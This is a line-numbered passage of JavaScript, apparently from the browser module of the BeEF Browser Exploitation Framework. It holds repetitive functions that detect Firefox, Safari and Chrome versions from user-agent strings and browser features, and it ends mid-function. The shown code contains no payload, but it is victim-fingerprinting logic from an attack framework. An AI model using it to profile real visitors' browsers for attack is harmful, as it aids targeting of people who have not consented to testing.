  5529. isFF: function () {
  5530. return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6
  5531.  
  5532. () || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() ||
  5533.  
  5534. this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17() || this.isFF18() || this.isFF19() || this.isFF20() ||
  5535.  
  5536. this.isFF21() || this.isFF22() || this.isFF23() || this.isFF24() || this.isFF25() || this.isFF26() || this.isFF27() ||
  5537.  
  5538. this.isFF28() || this.isFF29() || this.isFF30() || this.isFF31() || this.isFF32() || this.isFF33() || this.isFF34() ||
  5539.  
  5540. this.isFF35() || this.isFF36() || this.isFF37() || this.isFF38() || this.isFF39() || this.isFF40() || this.isFF41() ||
  5541.  
  5542. this.isFF42() || this.isFF43();
  5543. },
  5544.  
  5545. /**
  5546. * Returns true if Safari 4.xx
  5547. * @example: beef.browser.isS4()
  5548. */
  5549. isS4: function () {
  5550. return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null &&
  5551.  
  5552. window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
  5553.  
  5554. window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  5555. },
  5556.  
  5557. /**
  5558. * Returns true if Safari 5.xx
  5559. * @example: beef.browser.isS5()
  5560. */
  5561. isS5: function () {
  5562. return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null &&
  5563.  
  5564. window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
  5565.  
  5566. window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  5567. },
  5568.  
  5569. /**
  5570. * Returns true if Safari 6.xx
  5571. * @example: beef.browser.isS6()
  5572. */
  5573. isS6: function () {
  5574. return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null &&
  5575.  
  5576. window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
  5577.  
  5578. window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  5579. },
  5580.  
  5581. /**
  5582. * Returns true if Safari 7.xx
  5583. * @example: beef.browser.isS7()
  5584. */
  5585. isS7: function () {
  5586. return (window.navigator.userAgent.match(/ Version\/7\.\d/) != null &&
  5587.  
  5588. window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
  5589.  
  5590. window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  5591. },
  5592.  
  5593. /**
  5594. * Returns true if Safari 8.xx
  5595. * @example: beef.browser.isS8()
  5596. */
  5597. isS8: function () {
  5598. return (window.navigator.userAgent.match(/ Version\/8\.\d/) != null &&
  5599.  
  5600. window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!
  5601.  
  5602. window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
  5603. },
  5604.  
  5605. /**
  5606. * Returns true if Safari.
  5607. * @example: beef.browser.isS()
  5608. */
  5609. isS: function () {
  5610. return this.isS4() || this.isS5() || this.isS6() || this.isS7() || this.isS8();
  5611. },
  5612.  
  5613. /**
  5614. * Returns true if Chrome 5.
  5615. * @example: beef.browser.isC5()
  5616. */
  5617. isC5: function () {
  5618. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5619.  
  5620. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 5) ? true
  5621.  
  5622. : false);
  5623. },
  5624.  
  5625. /**
  5626. * Returns true if Chrome 6.
  5627. * @example: beef.browser.isC6()
  5628. */
  5629. isC6: function () {
  5630. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
  5631.  
  5632. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 6) ? true
  5633.  
  5634. : false);
  5635. },
  5636.  
  5637. /**
  5638. * Returns true if Chrome 7.
  5639. * @example: beef.browser.isC7()
  5640. */
  5641. isC7: function () {
  5642. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
  5643.  
  5644. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 7) ? true
  5645.  
  5646. : false);
  5647. },
  5648.  
  5649. /**
  5650. * Returns true if Chrome 8.
  5651. * @example: beef.browser.isC8()
  5652. */
  5653. isC8: function () {
  5654. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
  5655.  
  5656. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 8) ? true
  5657.  
  5658. : false);
  5659. },
  5660.  
  5661. /**
  5662. * Returns true if Chrome 9.
  5663. * @example: beef.browser.isC9()
  5664. */
  5665. isC9: function () {
  5666. return (!!window.chrome && !!window.webkitPerformance && window.navigator.appVersion.match
  5667.  
  5668. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 9) ? true
  5669.  
  5670. : false);
  5671. },
  5672.  
  5673. /**
  5674. * Returns true if Chrome 10.
  5675. * @example: beef.browser.isC10()
  5676. */
  5677. isC10: function () {
  5678. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5679.  
  5680. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 10) ?
  5681.  
  5682. true : false);
  5683. },
  5684.  
  5685. /**
  5686. * Returns true if Chrome 11.
  5687. * @example: beef.browser.isC11()
  5688. */
  5689. isC11: function () {
  5690. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5691.  
  5692. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 11) ?
  5693.  
  5694. true : false);
  5695. },
  5696.  
  5697. /**
  5698. * Returns true if Chrome 12.
  5699. * @example: beef.browser.isC12()
  5700. */
  5701. isC12: function () {
  5702. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5703.  
  5704. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 12) ?
  5705.  
  5706. true : false);
  5707. },
  5708.  
  5709. /**
  5710. * Returns true if Chrome 13.
  5711. * @example: beef.browser.isC13()
  5712. */
  5713. isC13: function () {
  5714. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5715.  
  5716. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 13) ?
  5717.  
  5718. true : false);
  5719. },
  5720.  
  5721. /**
  5722. * Returns true if Chrome 14.
  5723. * @example: beef.browser.isC14()
  5724. */
  5725. isC14: function () {
  5726. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5727.  
  5728. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 14) ?
  5729.  
  5730. true : false);
  5731. },
  5732.  
  5733. /**
  5734. * Returns true if Chrome 15.
  5735. * @example: beef.browser.isC15()
  5736. */
  5737. isC15: function () {
  5738. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5739.  
  5740. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 15) ?
  5741.  
  5742. true : false);
  5743. },
  5744.  
  5745. /**
  5746. * Returns true if Chrome 16.
  5747. * @example: beef.browser.isC16()
  5748. */
  5749. isC16: function () {
  5750. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5751.  
  5752. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 16) ?
  5753.  
  5754. true : false);
  5755. },
  5756.  
  5757. /**
  5758. * Returns true if Chrome 17.
  5759. * @example: beef.browser.isC17()
  5760. */
  5761. isC17: function () {
  5762. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5763.  
  5764. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 17) ?
  5765.  
  5766. true : false);
  5767. },
  5768.  
  5769. /**
  5770. * Returns true if Chrome 18.
  5771. * @example: beef.browser.isC18()
  5772. */
  5773. isC18: function () {
  5774. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5775.  
  5776. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 18) ?
  5777.  
  5778. true : false);
  5779. },
  5780.  
  5781. /**
  5782. * Returns true if Chrome 19.
  5783. * @example: beef.browser.isC19()
  5784. */
  5785. isC19: function () {
  5786. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5787.  
  5788. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 19) ?
  5789.  
  5790. true : false);
  5791. },
  5792.  
  5793. /**
  5794. * Returns true if Chrome for iOS 19.
  5795. * @example: beef.browser.isC19iOS()
  5796. */
  5797. isC19iOS: function () {
  5798. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5799.  
  5800. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 19) ? true : false);
  5801. },
  5802.  
  5803. /**
  5804. * Returns true if Chrome 20.
  5805. * @example: beef.browser.isC20()
  5806. */
  5807. isC20: function () {
  5808. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5809.  
  5810. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 20) ?
  5811.  
  5812. true : false);
  5813. },
  5814.  
  5815. /**
  5816. * Returns true if Chrome for iOS 20.
  5817. * @example: beef.browser.isC20iOS()
  5818. */
  5819. isC20iOS: function () {
  5820. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5821.  
  5822. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 20) ? true : false);
  5823. },
  5824.  
  5825. /**
  5826. * Returns true if Chrome 21.
  5827. * @example: beef.browser.isC21()
  5828. */
  5829. isC21: function () {
  5830. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5831.  
  5832. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 21) ?
  5833.  
  5834. true : false);
  5835. },
  5836.  
  5837. /**
  5838. * Returns true if Chrome for iOS 21.
  5839. * @example: beef.browser.isC21iOS()
  5840. */
  5841. isC21iOS: function () {
  5842. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5843.  
  5844. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 21) ? true : false);
  5845. },
  5846.  
  5847. /**
  5848. * Returns true if Chrome 22.
  5849. * @example: beef.browser.isC22()
  5850. */
  5851. isC22: function () {
  5852. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5853.  
  5854. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 22) ?
  5855.  
  5856. true : false);
  5857. },
  5858.  
  5859. /**
  5860. * Returns true if Chrome for iOS 22.
  5861. * @example: beef.browser.isC22iOS()
  5862. */
  5863. isC22iOS: function () {
  5864. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5865.  
  5866. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 22) ? true : false);
  5867. },
  5868.  
  5869. /**
  5870. * Returns true if Chrome 23.
  5871. * @example: beef.browser.isC23()
  5872. */
  5873. isC23: function () {
  5874. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5875.  
  5876. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 23) ?
  5877.  
  5878. true : false);
  5879. },
  5880.  
  5881. /**
  5882. * Returns true if Chrome for iOS 23.
  5883. * @example: beef.browser.isC23iOS()
  5884. */
  5885. isC23iOS: function () {
  5886. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5887.  
  5888. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 23) ? true : false);
  5889. },
  5890.  
  5891. /**
  5892. * Returns true if Chrome 24.
  5893. * @example: beef.browser.isC24()
  5894. */
  5895. isC24: function () {
  5896. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5897.  
  5898. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 24) ?
  5899.  
  5900. true : false);
  5901. },
  5902.  
  5903. /**
  5904. * Returns true if Chrome for iOS 24.
  5905. * @example: beef.browser.isC24iOS()
  5906. */
  5907. isC24iOS: function () {
  5908. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5909.  
  5910. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 24) ? true : false);
  5911. },
  5912.  
  5913. /**
  5914. * Returns true if Chrome 25.
  5915. * @example: beef.browser.isC25()
  5916. */
  5917. isC25: function () {
  5918. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5919.  
  5920. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 25) ?
  5921.  
  5922. true : false);
  5923. },
  5924.  
  5925. /**
  5926. * Returns true if Chrome for iOS 25.
  5927. * @example: beef.browser.isC25iOS()
  5928. */
  5929. isC25iOS: function () {
  5930. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5931.  
  5932. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 25) ? true : false);
  5933. },
  5934.  
  5935. /**
  5936. * Returns true if Chrome 26.
  5937. * @example: beef.browser.isC26()
  5938. */
  5939. isC26: function () {
  5940. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5941.  
  5942. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 26) ?
  5943.  
  5944. true : false);
  5945. },
  5946.  
  5947. /**
  5948. * Returns true if Chrome for iOS 26.
  5949. * @example: beef.browser.isC26iOS()
  5950. */
  5951. isC26iOS: function () {
  5952. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5953.  
  5954. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 26) ? true : false);
  5955. },
  5956.  
  5957. /**
  5958. * Returns true if Chrome 27.
  5959. * @example: beef.browser.isC27()
  5960. */
  5961. isC27: function () {
  5962. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5963.  
  5964. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 27) ?
  5965.  
  5966. true : false);
  5967. },
  5968.  
  5969. /**
  5970. * Returns true if Chrome for iOS 27.
  5971. * @example: beef.browser.isC27iOS()
  5972. */
  5973. isC27iOS: function () {
  5974. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5975.  
  5976. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 27) ? true : false);
  5977. },
  5978.  
  5979. /**
  5980. * Returns true if Chrome 28.
  5981. * @example: beef.browser.isC28()
  5982. */
  5983. isC28: function () {
  5984. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  5985.  
  5986. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 28) ?
  5987.  
  5988. true : false);
  5989. },
  5990.  
  5991. /**
  5992. * Returns true if Chrome for iOS 28.
  5993. * @example: beef.browser.isC28iOS()
  5994. */
  5995. isC28iOS: function () {
  5996. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  5997.  
  5998. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 28) ? true : false);
  5999. },
  6000.  
  6001. /**
  6002. * Returns true if Chrome 29.
  6003. * @example: beef.browser.isC29()
  6004. */
  6005. isC29: function () {
  6006. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6007.  
  6008. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 29) ?
  6009.  
  6010. true : false);
  6011. },
  6012.  
  6013. /**
  6014. * Returns true if Chrome for iOS 29.
  6015. * @example: beef.browser.isC29iOS()
  6016. */
  6017. isC29iOS: function () {
  6018. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6019.  
  6020. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 29) ? true : false);
  6021. },
  6022.  
  6023. /**
  6024. * Returns true if Chrome 30.
  6025. * @example: beef.browser.isC30()
  6026. */
  6027. isC30: function () {
  6028. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6029.  
  6030. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 30) ?
  6031.  
  6032. true : false);
  6033. },
  6034.  
  6035. /**
  6036. * Returns true if Chrome for iOS 30.
  6037. * @example: beef.browser.isC30iOS()
  6038. */
  6039. isC30iOS: function () {
  6040. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6041.  
  6042. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 30) ? true : false);
  6043. },
  6044.  
  6045. /**
  6046. * Returns true if Chrome 31.
  6047. * @example: beef.browser.isC31()
  6048. */
  6049. isC31: function () {
  6050. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6051.  
  6052. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 31) ?
  6053.  
  6054. true : false);
  6055. },
  6056.  
  6057. /**
  6058. * Returns true if Chrome for iOS 31.
  6059. * @example: beef.browser.isC31iOS()
  6060. */
  6061. isC31iOS: function () {
  6062. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6063.  
  6064. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 31) ? true : false);
  6065. },
  6066.  
  6067. /**
  6068. * Returns true if Chrome 32.
  6069. * @example: beef.browser.isC32()
  6070. */
  6071. isC32: function () {
  6072. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6073.  
  6074. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 32) ?
  6075.  
  6076. true : false);
  6077. },
  6078.  
  6079. /**
  6080. * Returns true if Chrome for iOS 32.
  6081. * @example: beef.browser.isC32iOS()
  6082. */
  6083. isC32iOS: function () {
  6084. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6085.  
  6086. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 32) ? true : false);
  6087. },
  6088.  
  6089. /**
  6090. * Returns true if Chrome 33.
  6091. * @example: beef.browser.isC33()
  6092. */
  6093. isC33: function () {
  6094. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6095.  
  6096. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 33) ?
  6097.  
  6098. true : false);
  6099. },
  6100.  
  6101. /**
  6102. * Returns true if Chrome for iOS 33.
  6103. * @example: beef.browser.isC33iOS()
  6104. */
  6105. isC33iOS: function () {
  6106. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6107.  
  6108. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 33) ? true : false);
  6109. },
  6110.  
  6111. /**
  6112. * Returns true if Chrome 34.
  6113. * @example: beef.browser.isC34()
  6114. */
  6115. isC34: function () {
  6116. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6117.  
  6118. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 34) ?
  6119.  
  6120. true : false);
  6121. },
  6122.  
  6123. /**
  6124. * Returns true if Chrome for iOS 34.
  6125. * @example: beef.browser.isC34iOS()
  6126. */
  6127. isC34iOS: function () {
  6128. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6129.  
  6130. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 34) ? true : false);
  6131. },
  6132.  
  6133. /**
  6134. * Returns true if Chrome 35.
  6135. * @example: beef.browser.isC35()
  6136. */
  6137. isC35: function () {
  6138. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6139.  
  6140. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 35) ?
  6141.  
  6142. true : false);
  6143. },
  6144.  
  6145. /**
  6146. * Returns true if Chrome for iOS 35.
  6147. * @example: beef.browser.isC35iOS()
  6148. */
  6149. isC35iOS: function () {
  6150. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6151.  
  6152. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 35) ? true : false);
  6153. },
  6154.  
  6155. /**
  6156. * Returns true if Chrome 36.
  6157. * @example: beef.browser.isC36()
  6158. */
  6159. isC36: function () {
  6160. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6161.  
  6162. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 36) ?
  6163.  
  6164. true : false);
  6165. },
  6166.  
  6167. /**
  6168. * Returns true if Chrome for iOS 36.
  6169. * @example: beef.browser.isC36iOS()
  6170. */
  6171. isC36iOS: function () {
  6172. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6173.  
  6174. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 36) ? true : false);
  6175. },
  6176.  
  6177. /**
  6178. * Returns true if Chrome 37.
  6179. * @example: beef.browser.isC37()
  6180. */
  6181. isC37: function () {
  6182. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6183.  
  6184. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 37) ?
  6185.  
  6186. true : false);
  6187. },
  6188.  
  6189. /**
  6190. * Returns true if Chrome for iOS 37.
  6191. * @example: beef.browser.isC37iOS()
  6192. */
  6193. isC37iOS: function () {
  6194. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6195.  
  6196. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 37) ? true : false);
  6197. },
  6198.  
  6199. /**
  6200. * Returns true if Chrome 38.
  6201. * @example: beef.browser.isC38()
  6202. */
  6203. isC38: function () {
  6204. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6205.  
  6206. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 38) ?
  6207.  
  6208. true : false);
  6209. },
  6210.  
  6211. /**
  6212. * Returns true if Chrome for iOS 38.
  6213. * @example: beef.browser.isC38iOS()
  6214. */
  6215. isC38iOS: function () {
  6216. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6217.  
  6218. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 38) ? true : false);
  6219. },
  6220.  
  6221. /**
  6222. * Returns true if Chrome 39.
  6223. * @example: beef.browser.isC39()
  6224. */
  6225. isC39: function () {
  6226. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6227.  
  6228. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 39) ?
  6229.  
  6230. true : false);
  6231. },
  6232.  
  6233. /**
  6234. * Returns true if Chrome for iOS 39.
  6235. * @example: beef.browser.isC39iOS()
  6236. */
  6237. isC39iOS: function () {
  6238. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6239.  
  6240. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 39) ? true : false);
  6241. },
  6242.  
  6243. /**
  6244. * Returns true if Chrome 40.
  6245. * @example: beef.browser.isC40()
  6246. */
  6247. isC40: function () {
  6248. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6249.  
  6250. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 40) ?
  6251.  
  6252. true : false);
  6253. },
  6254.  
  6255. /**
  6256. * Returns true if Chrome for iOS 40.
  6257. * @example: beef.browser.isC40iOS()
  6258. */
  6259. isC40iOS: function () {
  6260. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6261.  
  6262. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 40) ? true : false);
  6263. },
  6264.  
  6265. /**
  6266. * Returns true if Chrome 41.
  6267. * @example: beef.browser.isC41()
  6268. */
  6269. isC41: function () {
  6270. return (!!window.chrome && !window.webkitPerformance && window.navigator.appVersion.match
  6271.  
  6272. (/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10) == 41) ?
  6273.  
  6274. true : false);
  6275. },
  6276.  
  6277. /**
  6278. * Returns true if Chrome for iOS 41.
  6279. * @example: beef.browser.isC41iOS()
  6280. */
  6281. isC41iOS: function () {
  6282. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6283.  
  6284. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 41) ? true : false);
  6285. },
  6286.  
  6287. /**
  6288. * Returns true if Chrome 42.
  6289. * @example: beef.browser.isC42()
  6290. */
  6291. isC42: function () {
  6292. return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
  6293.  
  6294. window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
  6295.  
  6296. (/Chrome\/(\d+)\./)[1], 10) == 42) ? true : false);
  6297. },
  6298.  
  6299. /**
  6300. * Returns true if Chrome for iOS 42.
  6301. * @example: beef.browser.isC42iOS()
  6302. */
  6303. isC42iOS: function () {
  6304. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6305.  
  6306. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 42) ? true : false);
  6307. },
  6308.  
  6309. /**
  6310. * Returns true if Chrome 43.
  6311. * @example: beef.browser.isC43()
  6312. */
  6313. isC43: function () {
  6314. return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
  6315.  
  6316. window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
  6317.  
  6318. (/Chrome\/(\d+)\./)[1], 10) == 43) ? true : false);
  6319. },
  6320.  
  6321. /**
  6322. * Returns true if Chrome for iOS 43.
  6323. * @example: beef.browser.isC43iOS()
  6324. */
  6325. isC43iOS: function () {
  6326. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6327.  
  6328. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 43) ? true : false);
  6329. },
  6330.  
  6331. /**
  6332. * Returns true if Chrome 44.
  6333. * @example: beef.browser.isC44()
  6334. */
  6335. isC44: function () {
  6336. return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
  6337.  
  6338. window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
  6339.  
  6340. (/Chrome\/(\d+)\./)[1], 10) == 44) ? true : false);
  6341. },
  6342.  
  6343. /**
  6344. * Returns true if Chrome for iOS 44.
  6345. * @example: beef.browser.isC44iOS()
  6346. */
  6347. isC44iOS: function () {
  6348. return (!window.webkitPerformance && window.navigator.appVersion.match(/CriOS\/(\d+)\./)) &&
  6349.  
  6350. ((parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1], 10) == 44) ? true : false);
  6351. },
  6352.  
  6353. /**
  6354. * Returns true if Chrome 45.
  6355. * @example: beef.browser.isC45()
  6356. */
  6357. isC45: function () {
  6358. return (!!window.chrome && !!window.fetch && !window.webkitPerformance &&
  6359.  
  6360. window.navigator.appVersion.match(/Chrome\/(\d+)\./)) && ((parseInt(window.navigator.appVersion.match
  6361.  
